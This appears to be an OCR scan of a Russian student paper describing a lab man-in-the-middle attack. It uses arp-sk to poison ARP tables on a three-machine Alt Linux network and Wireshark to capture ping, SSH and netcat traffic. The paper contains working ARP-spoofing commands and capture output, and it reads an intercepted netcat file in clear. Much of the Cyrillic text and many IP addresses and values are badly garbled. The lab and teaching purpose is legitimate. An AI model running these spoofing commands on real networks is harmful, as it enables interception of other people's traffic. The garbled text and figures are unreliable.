AHAJIN3 U METOAUKA ITPOBE/IEHUSA IEPEXBATA CETEBOT'O
TPAO®UKA

TI'opnoe Anmon Baoumoeuu
Hooswcenxko Kupunn 30yapoosuu
Cmyoenmul

PI'Y nedpmu u 2aza (HUY) umenu U.M. I'yoxkuna, Mockea, Poccus

AHHoOTanusi. B crartbe uccnenyroTcs akTyajdbHbIE BBI30BBI KHOEpOE30MAaCHOCTH: METO[bI
nepexBara CETEeBBIX JAHHBIX, WX TOCJIEACTBUA JUISI CHCTEMBl 3alIUThl MHQOpPMALUU U
COBpPEMEHHBIE MOAXO0/IbI K MPEAOTBPAILIEHNI0 HECAHKIIMOHUPOBAHHOTO 10CTyIa. B KOoHTEekcTe
pactyIiero yucia Kubepyrpo3 ocoOyr 3HAaUMMOCTh TPHOOPETACT aHATIU3 TAKUX TEXHOJIOTHI
Kak  cHU(depbl, TPOKCHU-CEpBHCHI W araku  «man-in-the-middle».  Tlogpo6GHO
paccMaTpUBAIOTCS TEXHUUECKUE aCTEKThl pealn3aliu MOoJOOHBIX YIpo3, BKIIOYas MEXaHU3M
nepexBara JaHHBIX. B Qokyce Takke HaXomATCs peabHble KeHChl yTeueK HHPOPMAIUH, YTO
NO3BOJISIET BBIABUTH ClIa0ble MECTa B 3aluTe. ABTOpBI MpENIaraldT KOMIUIEKC Mep IO
CHIDKEHHMIO PHMCKOB: BHEJpEHUE KpUNTOrpaduuecKux MPOTOKOJIOB U IEPEOBBIX METOA0B
ayreHTHU(UKauuu monp3oBareneil. CTaTbsd HaleleHa Ha CIEMUAIUCTOB B 00JacTu
uHpopMalmoHHOM O6e3omacHocTH, [T-3kcriepTOB U BeeX, KTO HHTEpECYEeTCs 3alUTON JaHHbBIX

B IIU(PPOBYIO AITOXY.
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network data, their consequences for the information security system, and modern approaches
to preventing unauthorized access. In the context of the growing number of cyber threats, the
analysis of such technologies as sniffers, proxy services, and man-in-the-middle attacks is of
particular importance. The technical aspects of implementing such threats, including the data
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BBEJAEHHUE

B 9T0if cTaThe MBI paccMOTpuUM TpuUMeHHe makeTa yTwiuT arp-sk B OC AnbT ans
MIPOBEJICHUS aTaku TUma «man-in-the-middley.

Hama 3angava: nmomyuuts Tpad@uk kommprorepa Victim ¢ MOMOIIBIO KOMIbIOTEpPA
Attacker.

Jyist 5TOr0 MBI OYJIEM UCTIOIB30BaTh CAaMOIIPOU3BOJIBHBIN arp-oTBET. B mpoTokone arp
peyCMOTPEHa BO3MOKHOCTh OTIIPABJICHUSI YCTPOMCTBOM arp-3ampoca Ui OTBETa B ciydae,
€CIM Takoe He TpeOyrT Apyrue ycTpoucrBa. s dero »To Hag0 — Hampumep, €ciu
W3MEHWICS Mmac-aJipec MaplipyTuzaropa. B ciydae, eciii KOMIBIOTEp IMOAJICPKUBACT
CaMONPOU3BOJIBHBIN arp TO OH MEpe3anuilIeT JETUTUMHBIN aJIpec Ha aipec aTaKyIOILETo.

ARP-nipoTokon (QyHKIIMOHUPYET KaK CPEACTBO I JMHAMHUYECKOTO OIPEACIICHUS
MAC-anpecoB, MO3BOJIsII YCTPOMCTBAM CaMOCTOSITEIBHO 3alpallivBaTh WM OTBEYaTh Ha
3ampockl 0e3 HEeO0OXOJAMMOCTH TPHBIICUCHHS] JIPYTHX KOMIIOHEHTOB ceTH. Ecim cucrema
noJJIep>KMBaeT aBToMaruueckuii oretr Ha ARP, npoucxonut 3amena "noanunuoro" MAC-
azpeca yCTPOMCTBA HA MOIEIbHbBINA, 8 UMEHHO aJpeC aTaKyIOUIEro.

CrnyuHT — 5TO MAaHUNYJIANMS ¢ UASHTA(DUKAITMOHHBIMY JTAHHBIMU CETEBBIX aJPECOB

JUTSL HECAaHKIIMOHUPOBAHHOTO JTOCTYIA U MOJyYeHUS MTPEUMYIIecTB B 0e3onmacHoCTH. [1]
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B KoHTekcTe perynupoBaHusi Nepelayd  JJaHHbIX, Ha TEpPBOM  YpOBHE
paccMmatpuBaetcst npumeHenue SSH-mportokoma. SSH — 310  kpuntorpadudecku
3alIUIIEHHBI TPOTOKOJI YPOBHS MPHIIOKEHHUH, MPEIOCTABISAIONMNN 0€30MacHOe yaaleHHOe
yOpaBieHHE OINEepallMOHHBIMU cucTeMamMu H  (popmupoBanue TtyHHened s TCP-
nojacoenuHenuid. Crnienudukon sBisieTcs mm@poBanue Bcero tpaduka. SSH moanepxuBaer
pa3HooOpa3HbIe aNropuTMBbI MK poBaHus. [4]

3arem Mbl aHanusupyem UDP-npotokon. OH sBiseTCS KIIOYEBBIM JJIEMEHTOM B
Habope ceTeBbIX NpoTokoioB MuTepHera. UDP mno3BossieT NpuiioKeHUSM OTIPABIATH
coobmieHus: Mexay xoctamu I[P-cetm 6e3 HEOOXOAMMOCTH MpPEIBAPUTENHLHON YCTaHOBKHU
COCMHEHUI WM CHEeIMaJIbHBIX KaHAJIOB IepeJaud JaHHBIX, OOecledyrBas BBICOKYIO

CKOPOCTh M1 MUHUMAJIbHYIO 3a/IEPKKY.
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METOJ0JIOT'UA HPOBEJAEHUSA IIEPEXBATA TPA®UKA

st mpoBeneHus sxcnepumenTa Ob1a Beiopana OC AnbT. PaccmoTrpuMm Hamry ceTh. B
cetu. Ecth 3 koMmbloTepa, Bce oHM noakiaroueHsl K wifi. Kommbiotep PC-1 Oyzer sBnsTbcs B
HAIlIeM ClTy4ae KIMEHTOM WM OTIpaBuTeneM aAaHHbiX. Kommbiotep PC-2 BeicTymaer B ponu
nonyuatens Tpapuka. Moxer ObIThb U Ha000poT. Takxke B ceTu MpHUCYTCTBYeT TpeTuit PC-
ATTACKER, on Oyner BrICTynaTh B pOJIH 3J0yMBIILIEHHUKA (man-in-the-middle), kotopsiit
Oyner mbITaThesl mepexBaThiBaTh ucxoisamuii oT PC-1 tpaduk. Ilepeiinem k mpoBeneHHUIo
AKCIIEpUMEHTA. [2]

Bynem neiicTBOBaTh OT JUIIA 3I0YMBIIUICHHUKA, SKCIIEPUMEHT OyIeT POBOIUTHCS B
UCCIe0oBaTeNbCKUX HeisX. [lepBeiM aemoM, Mbl JOMKHBI yoenuThes, uto Bee 11K, nanusie ¢

KOTOPBIX MBI XOTUM IIEPEXBATUTL, HAXOAATCA C HAMU B OJIHOM CETH.

ping 18.211.55.6
PING 16.211.55.6 (18.211.55.6) 56(84) bytes of data.
64 bytes from 18.211.55.6: icmp_seq=1 ttl1=64 time=0.758
64 bytes from 18.211.55.6: icmp_seq=2 ttl=64 time=8.687
64 bytes from 10.211.55.6: icmp_seq=3 tt1=64 time=0.669
“C
-— 18.211.55.6 ping statistics —
3 packets transmitted, 3 received, B2 packet loss, time
rtt minsavg/max/mdev = 8.669-8.782-8.750-8.834 mns
ping 192.168.0.166
PING 192.168.68.1688 (192.168.8.188) 56(84) bytes of data.
64 bytes from 192.168.8.188: icmp_seq=1 tt1=128 time=0.684 ns
64 bytes from 192.168.08.1808: icmp_seq=Z tt1=128 time=0.931 mns
64 bytes from 192.168.0.1688: icmp_seq=3 tt1=128 time=0.965 ns
“C

Pucynoxk 1. [Tunr apyrux I1K B cetn.
Figure 1. Ping other PCs on the network.

[Tocne Toro, kak MbI yoeammmch, uto Bee 11K st Hac 1oCTynHBI, BKIIIOYaeM
npotokoa SSH na PC-1 u PC-2, Tak kak, B OCHOBHOM OH MCIIOJIb3yETCS ISl Iepeauu
JTaHHBIX. DTOT MPOTOKOJ SBIISETCS JOBOJBHO 3alIUIIEHHBIM, OH JUISl UACHTHU(PUKAIIUU
YCTPOMCTB, OH UCTONb3yeT ssh-kmoun. SSH-kmtoun 3170 HAOOP CHMBOJIOB, XPaHSIIUNCS B
onpeneneHHoM (Qaitie, B tupektopuu SSH. UMeHHO JaHHBIN KTI0Y BBICTYIIAET
UICHTU(UKATOPOM YCTPOICTBA. be3 TaHHOTO KITFo4a, YCTPOWCTBO MOMPOCTY HE CMOXKET

0OMeHHUBaTLCA JaHHBIMU.
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systemct]l status sshd
sshd.service — OpenSSH server daemon
Loaded: loaded (-libssystemd/system/sshd.service; disabled: vendor preset: enabled)
Active: active (rumming) since Sat 2025-81-84 20:88:82 MSK: 3s ago
Process: 3299 ExecStartPre=susrsbins/ssh-keygen -A (code=exited, status=8,SUCCESS)
Process: 3380 ExecStartPre=rsusr/sbins/sshd -t (code=exited, status=8,/SUCCESS)
Main PID: 3381 (sshd)
Tasks: 1 (limit: 3246)
Memory: 1.9M
CPU: 18ms
CGroup: ssystem.slicessshd.service
L- 3381 ~usr/sbin/sshd -D

Jan B4 208:88:82 PC systemd[1]: Starting OpenSSH server daemon...
Jan 84 20:88:82 PC systemd[1]: Started OpenSSH server daemon.

Jan B4 20:88:82 PC sshd[33811: Server listening on 8.8.8.8 port 22.
Jan 84 20:08:82 PC sshd[3381]: Server listening on :: port 22.

Pucynok 2. AxktuBanus nporokona SSH.
Figure 2. Activating the SSH protocol.

Amnanornuno aenaeM Ha PC-2. Jlanee Ham HEOOXOUMO CTEHEpUPOBATh HAIIIKM KITFOYH

Ha oboux [1K.

ssh-keygen -t rsa -b 4896
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.sshr/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh-/id _rsa.
Your public key has been saved in /root/.sshrid_rsa.pub.
The key fingerprint is:
SHAZ56 :GPZR185rnd IDOMUNWZ3 120Z2UuvCFMOhUBWtLF8aR/p+al} root@ePC
The key’s randomart image is:
+———[R3A 4896]1———+
| . +400.+
| oo++Bo& o.
| 0.00 .*0%+0
lo . . o+o+o.
I 0.05 .+
I + E
I 0
I
I

+————[SHAZ561

Pucynok 3. I'enepanus SSH-kmtoua na PC-1.
Figure 3. Generating the SSH-key on PC-1.
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ssh—-keygen -t rsa —-b 4896
Generating public-private rsa key pair.
Enter file in which to save the key (rroot-.sshrid_rsa)d:
sroot/.sshr/id_rsa already exists.
Dverwrite (ym)7?7 y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in root..ssh-sid_rsa.
Your public key has been saved in ~root./.ssh-id_rsa.pub.
The key fingerprint is:
SHAZ56 :dGHovur Igm ICZMs jtBkQYpPT112U=zYBf00C6EAMOUVSw root@PC-2
The key’s randomart image is:
+———[RSA 4896]1—+
I+B.o++....+.0. |
IB + o.0Eoo B+. 1
l.+ . . o..00=0 |
I=0. .0.. . |
100 . 3. . !
lo+o |
lo .o. |
! |
] .0 |
+————[SHAZ56 ]

Pucynok 4. I'enepanus SSH-xntoua na PC-2.
Figure 4. Generating the SSH-key on PC-2.

Teneps HaM HEOOXOIUMO MOATOTOBUTH Hall (Paiis, KOTOPBIM MbI OyJIeM OTIPABIIATH,

Ha30BeM Hai (aiin secret-file, u HamuIeM BHYTpU HETO KOJOBYIO (Gpa3y, KOTOPYIO AOIKEH

nosyuuts PC-2.

21+ Stopped vim ~/
mkdir setc/net/secret

Pucynok 5. Co3nanue nanku secret Ha PC-1.

Figure 5. Creating the secret folder on PC-1.

Its a secret?_

Pucynok 6. Co3xanue Kog0Bo# ¢pasbl.

Figure 6. Creating a passphrase.
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ssh-copy-id @10.211.55.6
ssh-copy-id: INFO: Source of key(s) to be installed: “/root/.ssh/id_rsa.pub”
—-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
1—copy-id: INFO: 1 key(s) remain to be installed if you are prompted now it is to install the new keys
user@10.211.55.6’s password:

Number of key(s) added: 1

Nouw try logging into the machine, with: "ssh "user@18.211.55.6’"
and check to make sure that only the key(s) you wanted were added.

Pucynok 7. Otnpasinsem cBoi kirod Ha apyroi [1K.

Figure 7. Send your key to another PC.

[Tocne ycnemHoit nepengaun kiroua, cuctema PC-2 u PC-1 obecnieunBaeT B3auMHYIO
UIACHTU(DUKAIIMI0O B paMKaX KOMMYHHKaIuu mocpenctBoM SSH-mpotokoma. Temepsr TIK
MOJTHOCTBIO MPUCTIOCOOIIEHBI U1 6€30MacHOro 0OMeHa TaHHBIMH.

1. Wireshark. 2TOoT WHCTpyMEHT cTaHeT “rja3aMH W ymamu’’, MO3BOJISSA
HETpEPHIBHOMY aHAU3y Tpaduka Ha BHIOPAHHOM IIOPTY.

2. ARP-SK. C nomompro JaHHOW  YTHUJIUTBI  YJACTCS  OCYIIECTBISATH
MaHUMYJSIUN ¢ Mac-aJpecaMu, YTO OTKPHIBA€T BO3MOXKHOCTHU I HECAaHKIIMOHUPOBAHHOTO
JIOCTyNa B JIOKAJIbHOW CETH.

Takum oOpa3om, MOAKIIOUMB 3TU CPEJCTBA, aTaKyIOIIKE IMOJYy4YaroT IMOJIHBIM apceHas Jyis

peanu3aluyi CBOUX IUIAHOB. [5]

apt—-get install wireshark
Reading Package Lists... Done

Building Dependency Tree... Done
Selecting wireshark-qt5 for ’wireshark’
The following extra packages will be installed:

Pucynok 8. YcranasnuBaem yrrmmty Wireshark.

Figure 8. Installing the Wireshark utility.
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- *enp0s5 (oT cynepnonb3oBaTens) ||
®aiin  PepaktupoBanve [pocMmoTp 3anyck 3axeaT Awanu3  Cratuctvka Tenedowvs BecnpoBogHoW  MHCTpymeHTsl  [omolus

s 0 B0 @ C o= = = T
A ® X G Q &= 3 = Q@ @ §

(W] v -] +
No. Time Source Destination Protocol Length Info =
63 139.006941397 10.211.55.2 10.211.55.5 ICMP 98 Echo (ping) request 1d=0x783c, seq=6/1536, ttl=€
64 139.007045394 10.211.55.5 16.213.55.2 icMP 98 Echo (ping) reply id=0x783c, seq=6/1536, ttl=€
65 140.094605585 10.211.55.2 10.211.55.5 IcMP 98 Echo (ping) request 1id=0x783c, seq=7/1792, ttl=€
66 140.094667874 10.211.55.5 16:213 5502 ICMP 98 Echo (ping) reply id=0x783c, seq=7/1792, ttl=€
67 141.178779568 10.211.55.2 10.211.55.5 IcMP 98 Echo (ping) request 1id=0x783c, seq=8/2048, ttl=€
68 141.178905592 10.211.55.5 10.211.55.2 ICcMP 98 Echo (ping) reply id=6x783c, seq=8/2048, ttl=€

69 142.246709278 Parallel_ea:8b:76 Parallel_00:00:18 ARP 42 who has 10.211.55.1? Tell 10.211.55.5
70 142.247353660 Parallel_00:00:18 parallel_ea:8b:76 ARP 42 10.211.55.1 is at 00:1Cc:42:00:00:18
71 142.266155418 10.211.55.2 16221775575 ICMP 98 Echo (ping) request 1id=0x783c, seq=9/2304, ttl=€
72 142.266218746 10.211.55.5 16:211°.5512 ICMP 98 Echo (ping) reply id=0x783c, seq=9/2304, ttl=€
73 143.353571305 10.211.55.2 10.211.55.5 IcMP 98 Echo (ping) request 1id=0x783c, seq=10/2560, ttls
74 143.353679725 10.211.55.5 10.211.55.2 ICMP 98 Echo (ping) reply id=0x783c, seq=10/2560, ttl=
4 »
» Frame 1: 90 bytes on wire (720 bits), 90 bytes captured (720 bit 00 1c 42 00 0O 18 GO 1c 42 ea 8b 76 08 00 45 0O B
» Ethernet II, Src: Parallel_ea:8b:76 (00:1c:42:ea:8b:76), Dst: Pa 00 4Cc €9 11 40 00 40 11 09 44 Ga d3 37 05 57 ee L@@
I * Internet Protocol version 4, Src: 10.211.55.5, Dst: 87.238.174.1 ae 85 91 ba 00 7b 00 38 48 95 23 00 06 20 00 00 {8
» User Datagram Protocol, Src Port: 37306, Dst Port: 123 00 00 0O 60 0O 00 0G0 OO 00 00 60 0O 0O 60 00 00
» Network Time Protocol (NTP Version 4, client) 00 00 00 0O 00 0O 00 OO 0O 00 6O 00 0O 00 00 00
(L1 44 76 af fe 29 26 eff AD~- - ) |
A Wireshark - Onuvu 3axsata (0T cynepnonb3oBatens)
Beog BuiBog Onuwumn
WHTepdeirc Tpaduk 3aronoBok ypoBHs Link CmewaH AnuH:
4 » enp0s5 — Ethernet v noy...
~ any Linux cooked v1 v noy...
O 7 wireshark
3 oopback: lo Ethernet v noy..

Pucynoxk 9. UnTepdeiic Wireshark.

Figure 9. Wireshark interface.

Tenepr HEOOXOIMMO TPOU3ZBECTH MOAMEHY azapecoB, st Bcex [IK B ceTu, 4ToOwI,
korna onuH 1K Oynet nbitarbest oTHpaBisaTh AaHHbIe Ipyromy 1K B ceT, MbI MOTJIM TPOCTO
MoJyyaTh JaHHBIE MPSMO B HammM pyku. HeoOxomumMo 3amMeTwuTh, 4TO, Uil TOTO, YTOOBI
NIepexBaT JaHHBIX ObLI 00Jiee CKPBITHBIM, OYyJIET JIydIlle MOJMEHUTh U HaIl mac-ajapec. Tak
KaK, MpU TepexBaTe JAaHHBIX, MbI OyJeM IOJy4yaTh MAaKeThl, a OTJaBaTh MX MBI HE OyleM,

II09TOMY, HAaM H606XO,Z[I/IMO 3aMaCKHUPOBATHCA.

arp -a
linux—pc-2.shared (18.211.55.7) at BB:1c:4Z2:a3:ad:ec [ether] on enpBs5

linux—attacker.shared (18.211.55.5) at BB:1c:4Z:ea:8b:76 [etherl on enpBs5
ateway (18.211.55.1) at 88:1c:42:80:80:18 [ether]l on enpBs5

Pucynok 10. Tabaunia ARP 1o noagmenst Ha PC-1.
Figure 10. ARP table before replacement on PC-1.

arp -a
linux—pc.shared (10.211.55.6) at 88:1c:42:48:d4:c9 [ether] on enpBsS
linux—attacker.shared (10.211.55.5) at 88:1c:42:ea:8b:76 [ether]l on enpBsS

7 (18.211.55.2) at 62:3e:5f:41:71:64 [ether] on enpBsS
_gateway (18.211.55.1) at 80:1c:42:80:00:18 [ether] on enpBsS

Pucynok 11. Tabnuna ARP no monmenst Ha PC-2.
Figure 11. ARP table before replacement on PC-2.
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ITo Ta6HI/II_[aM BUJHO, YTO KaXXObIN IIK BUJINUT HCCKOJBKO yCTpOﬁCTB B CCTH, OAHO U3

gux Ham PC-ATTACKER.

apt-get install arp-sk

Reading Package Li Done
Building Depen . Done
The following extra packages will be installed:

libnet2
The following NEW packages will be installed:

arp-sk libnet2
B upgraded, 2 newly installed, B removed and 63 not upgraded.
Need to get 63.1kB of archives.
After unpacking 158kB of additional disk space will be used.
Do you want to continue? [¥Y/nl yes
Get:1 htty Lp.altlinux.org plB/branchraarch64/ i . ) A 10.1.101626059818 [39.08kB1
Get:2 http tp.altlinux.org plB/branch/aarchb4/ ar .16 t1. yphus 100.1.1e155088757082 [24.2kB1
Fetched 63.1kB in 1s (45.1kB/s)
Committing changes...
Preparing. gHunngttpnnt R g R RN R R RN H R R R R R R H R R R R R R R R R R R E R R RN R R RUE [1002]
Updating nstalling...
1: libnet2-1.1.6-altl #ugnngpEnEE R R ERE RN R R R E R R E R R R R R R R R R R R R R R R R R RN R R0 [ SO02)

2: arp-sk-8.08.16-altl.qa2 #ugnnngEEEEERRE R EEREEEREEERRRERRR AR RRRRHRRRRHRRRREHRRBHBRRRRRRBBRRRVAUE [100]
Done.

Pucynok 12. YcranoBka yTunuTel arp-sk.

Figure 12. Installing the arp-sk utility.

CYTB I[aHHOfI YTUIUTBI B TOM, YTO C IOMOUIBIO HCC, Mbl MOKEM OTIIPABIIATH
COOOIIIEHUsI OT JHIAa APYTUX Ip-aJpecoB, B TOM YHCIE U COOOIICHHS O CMEHE MX mac-
aJIpecoB.

MCHOJ’IBByeM KOMaHBbI:

arp-sk -i enp0Os5 -r =-s 00:1C:42:EA:8B:72 -S 10.211.55.5 -d
00:1C:42:40:D4:C9 -D 10.211.55.6 — JJaHHasg KOMaHJa OTIPABJIsET

coobmenune PC-1 or numa nHamero IIK, o ToM d4ro Ham mac-agpec Tenepb

00:1C:42:EA:8B:72

arp-sk -i enp0s5 -r -s 00:1C:42:EA:8B:72 -S 10.211.55.5 -d
00:1C:42:A3:A3:EC -D 10.211.55.7 — IlaHHass KOMaHJa OTIIPaBJIIET

coobmenue PC-2 or muna nHamero IIK, o TomM dro Ham mac-agpec Tenepb

00:1C:42:EA:8B:72

arp-sk -i enp0s5 -r -s 00:1C:42:EA:8B:76 -S 10.211.55.6 -d
00:1C:42:A3:A3:EC -D 10.211.55.7 — op[aHHad KOMaHAa OTIIPaBJIIET
coobmenue PC-2 ot muma PC-1, o Tom uto ero mac-azapec ternepp 00:1C:42:EA:8B:76

(Ha caMoOM JieJie 9TO HaIll aJipec)
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arp-sk -i enp0Os5 -r -s 00:1C:42:EA:8B:76 -S 10.211.55.7 -d
00:1C:42:40:D4:C9 -D 10.211.55.6 — opaHHad KOMaHAa OTIIPaBIILET
coobmenue PC-1 ot muma PC-2, o Tom uto ero mac-azapec ternepb 00:1C:42:EA:8B:76

(3T0 TaKKe HaII agpec)

arp-sk —i enpBs5 -r —-s 80:1C:42:EA:8B:76 S 18.211.55.2 -d 086:1C:42:40:D4:C9 -D 18.211.55.6
+ Initialization of the packet structure
+ Runming mode “reply”
Ifname: enpBsS
Source MAC: BB:1c:42:ea:8b:76
Source ARP MAC: BB:1c:42:ea:8b:76

Source ARP :18.211.55.2
Target MAC: :1c:42:48:d4:c9

Target ARP >t B8:1c:42:408:d4:c9
Target ARP IP : 10.211.55.6

-—— Start classical sending —-
P 21:21:2 399
00:1c:42:408:d4:c9 From: 00:1c:42:ea:8b:76 BxB8686
ARP For 108.211.55.6 (B6:1c 408:d4:c9):
10.211.55.2 is at 88:1c:42:ea:8b:76

Pucynoxk 13. Ilpumep ornpaBku ARP-coobmenus.

Figure 13. Example of sending an ARP message.

Hanee mpoBepsiem arp-tadbnuiy Ha PC-1 u PC-2.

arp -a
linux-pc.shared (10.211.55.6) at 80:1c:42:ea:8b:76 [ether] on enpBsS
linux-attacker.shared (18.211.55.5) at 88:1c:42:ea:8b:72 [ether] on enpBsS

7 (10.211.55.2) at 62:3e:5f:41:71:64 [ether] on enpBsS
_gateway (10.211.55.1) at B8:1c:42:80:80:18 [ether] on enpBsS

Pucynoxk 14. ARP-ta6mmma va PC-2.
Figure 14. ARP table on PC-2.

[To Tabnuie BUIHO, YTO Mac-ajpeca U3MEHUIINCH, AaHAJIOTUYHYIO KapTHUHY MBI Oy/1eM
HaOmronats Ha PC-1.

Temeps MBI TOTOBBI TepexBaThiBaTh Tpaduk. Brmouaem ytunuty Wireshark u
BbIOMpaeM Halll €IMHCTBEHHBIN opT enp0s5 ¢ mac-aapecom 00:1C:42:EA:8B:76.

Jns HarnsgHocTH, monpoOyem nponuHrosats [IK mMexay co0oii.

10. 10.211.55.7 g d=0x0004, seq ttl=64 (reply

2 0.000168900 10.211.55.5 10.211.55.6 ICMP 98 Echo (ping) request 1d=0x0004, seq=1/256, ttl=63 (reply in 3)
3 0.000637594 10.211.55.6 10.211.55.5 ICMP 98 Echo (ping) reply id=0x0004, seq=1/256, ttl=64 (request in 2)
4 0.000694123  10.211.55.6 10.211.55.7 ICMP 98 Echo (ping) reply 1d=0x0004, seq=1/256, ttl=63 (request in 1)
5 0.920002339  10.211.55.7 10.211.55.6 icmp 98 Echo (ping) request id=exe004, seq=2/512, ttl=64 (reply in 8)

6 0.920039389 10.211.55.5 10.211.55.6 ICMP 98 Echo (ping) request 1d=0x0004, seq=2/512, ttl=63 (reply in 7)
7 0.920291096 10.211.55.6 10.211.55.5 ICcMP 98 Echo (ping) reply id=0x0004, seq=2/512, ttl=64 (request in 6)
8 0.920294457 10.211.55.6 10.211.55.7 ICMP 98 Echo (ping) reply id=0x0004, seq=2/512, tt1=63 (request in S)
9 1.835850062 10.211.55.7 10.211.55.6 IcMP 98 Echo (ping) request 1d=0x0004, seq=3/768, tt1=64 (reply in 12)
10 1.835882872  10.211.55.5 10.211.55.6 icMp 98 Echo (ping) request 1d=0x0004, seq=3/768, tt1=63 (reply in 11)
11 1.836086223 10.211.55.6 10.211.55.5 icMp 98 Echo (ping) reply id=0x0004, seq=3/768, ttl=64 (request in 10)
12 1.836094932 10.211.55.6 10.211.55.7 ICMP 98 Echo (ping) reply id=0x0004, seq=3/768, ttl=63 (request in 9)
13 2.755408725 10.211.55.7 10.211.55.6 IcMP 98 Echo (ping) request 1id=0x0004, seq=4/1024, ttl=64 (reply in 16)
14 2.755439968 10.211.55.5 10.211.55.6 IcMP 98 Echo (ping) request 1id=0x0004, seq=4/1024, ttl1=63 (reply in 15)

Pucynok 15. IlepexBaueHHBIN UHT.
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Figure 15. Intercepted ping.

Msbr Buaum, uto Ham [IK mepexBaTblBae€T MUHT M NEPECBUIAET €ro Aaibue. Bes
rH(pOpMaIKs 0 TOTYICHHBIX TTAKET JOCTYITHA HaM.

Teneps ¢ momompto nporokona SCP npoOyem otnpasuts daiin ¢ PC-1 na PC-2.

ret/secret-file usere18.211.55.6:7etc/net.

Pucynok 16. OtnpaBka daiina uepe3 SCP na PC-1.
Figure 16. Sending a file via SCP to PC-1.

24 6.032153156 10.211.55.6 10.211.55.5 TCP 54 22 . 43342 [ACK] Seq=1 Ack=22 Win=64256 Len=0

26 6.036633952 5.6 S 75 Server: Protocol (SSH-2.0-OpenSSH_7.9)

29 6.036794335 10.211.55.5 10.211.55.6 CcP 54 43342 . 22 [ACK] Seq=22 Ack=22 Win=64256 Len=0

31 6.036921794 10.211.55.5 10.211.55.6 SSHv2 1478 Client: Key Exchange Init

32 6.037529867 10.211.55.6 10.211.55.5 SSHv2 1166 Server: Key Exchange Init

35 6.038645139  10.211.55.5 10.211.55.6 SSHv2 102 Client: Elliptic Curve Diffie-Hellman Key Exchange Init
36 6.041703342 10.211.55.6 10.211.55.5 SSHv2 434 server: Elliptic Curve Diffie-Hellman Key Exchange Reply, New Keys
39 6.044971315 10.211.55.5 10.211.55.6 SSHv2 70 Client: New Keys

40 6.085647169 10.211.55.6 10.211.55.5 Tcp 54 22 . 43342 [ACK] Seq=1514 Ack=1510 Win=64128 Len=0

43 6.085861255 10.211.55.5 10.211.55.6 SSHv2 98 Client:

44 6.086063348 10.211.55.6 10.211.55.5 TCcP 54 22 .. 43342 [ACK] Seq=1514 Ack=1554 Win=64128 Len=0

45 6.086063386 10.211.55.6 10.211.55.5 SSHv2 98 server:

49 6.086298479 10.211.55.5 10.211.55.6 SSHv2 114 Client:

50 6.093854705 10.211.55.6 10.211.55.5 SSHv2 106 Server:

Pucynoxk 17. [lepexBauennsie naketsl o TCP npotokomny.

Figure 17. Intercepted packets using the TCP protocol.

[Ipobyem mpocMoTpeTh cofepxumoe ¢aiiia U BUIUM, YTO BCE 3aIIU(POBAHO, IO
tpaduky B Wireshark BuIHO, 9TO KIMEHT, KOTOPBINA OTIpaBseT (Al BUANT, YTO KIFOY HE
CXOJIUTCS ¥ IPOOYET CO3/1aTh HOBBIH.

JlenaeM BBIBOJ, YTO IEpeXBaTUTh JaHHble, mepexpatouecs no SSH mporoxomy
MO’KHO, HO paciu(dpoBaTh UX MBI HE MOXEM, Tak Kak y Hac HeT SSH-kitoua.

[MompoGyem mpomsBectu otmnpaBky uepe3 ytwmty NETCAT, kortopas He Oyzner

mdposath Ha daiin. [3]

nc 18.211.55.7 12345 { setcs-net/secret-secret-file

Pucynoxk 18. OtnpaBka daiina yepes NETCAT.
Figure 18. Sending a file via NETCAT.

®aiin  PepaktupoBanve [pocmoTp 3anyck 3axeat AHanu3 Cratucivka Tenedonws  BecnposogHoW  MHCTPymeHThi  Momols

AR mMERE QexsEF IE|F aaqE

(W ]pv 3 -] +
No. Time Source Destination Protocol Length Info | B
W Parallel _40:d4:c9 Broadcast 42 who has 10.211.55.7? Tell 10.211.55.6

2 7.206898783  10.211.55.5 195.35.113.80 NTP 90 NTP version 4, client

3 7.282282490  195.35.113.80 10.211.55.5 NTP 90 NTP Version 4, server

4 12.544995222 Parallel _ea:8b:76  Parallel_00:00:18  ARP 42 who has 10.211.55.1? Tell 10.211.55.5

5 12.545919186 Parallel _00:00:18 Parallel_ea:8b:76 ARP 42 10.211.55.1 is at 00:1C:42:00:00:18

6 27.993008270 fe80::21c:42ff:fedo.. ffo2::2 ICMPVE 70 Router Solicitation from 00:1c:42:408:d4:c9

7 42.976224619 Parallel_ea:8b:76  Parallel_a3:a3:ec  ARP 42 10.211.55.6 is at 09:1c:42:ea:8b:76

8 44.822675525 fe80::21c:42ff:feea.. ff02::2 ICMPVE 70 Router Solicitation from 00:1c:42:ea:8b:76

9 45.795005748 Parallel ea:8b:76  Parallel 40:d4:c9  ARP 42 10.211.55.7 is at 00:1c:42:ea:8b:76 |

10 51.769630576 10.211.55.5 10.211.55.255 BROWSER 260 Host Announcement OTHER-LINUX, Workstation, Server, Print Queue Server, Xenix Server, NT..

11 73.275579516 10.211.55.6 10.211.55.7 uoP 56 41666 —. 12345 Len=14

12 73.276094128 10.211.55.5 10.211.55.7 UDP 56 41666 —. 12345 Len=14

Pucynok 19. [lepexBauenHbiit Tpaduxk.
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Figure 19. Intercepted traffic.

MpsI BUIMM, 9TO MOCIIE MTOJIMEHBI Mac-aIpecoB, MPOMU30IILIa OTIpaBka ¢aina mo UDP
MIPOTOKOJTy, PACCMOTPUM, TEPEAAIOCh JIU coaep)uMoe daina. Mbl BUANM COIEPKUMOE,

nepexBaT yCIIeIIeH.

Wireshark - CnegoBaTb UDP MoTok (udp.stream eq 2) - enp0s5 (0T cynepnonb3oBaTens)

Its a secret!

Pucynoxk 20. Conepxumoe nepexBadyeHHOTo ¢aia.

Figure 20. Contents of the intercepted file.
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3AK/IIOYEHUE

B 3akitoueHne MOXHO OTMETUTh, YTO TIEpexBaT ceTeBoro Tpaduka Bo3moxeH. B xoze
HKCHEPUMEHTA MBI BBIACHUIIN, YTO MOXKHO TIEpEXBATUThH JH000H Tpaduk, HO OCTaeTCs
OTKPBITBIM BOTIPOC O MH(pOBaHUH MaHHBIX. MBI paccmoTpenu Ha mpumepe SSH u UDP
MIPOTOKOJIOB MEPEeXBaT TeKCTOBOro (paita. /lanee Mbl BBISICHUIIN, YTO TIEPEXBAUYCHHBIN (haidi,
nepeaasaeMslii o SSH npoTokoiy HEBO3MOXKHO paciiugpoBaTh, TaK Kak JJs 3TO
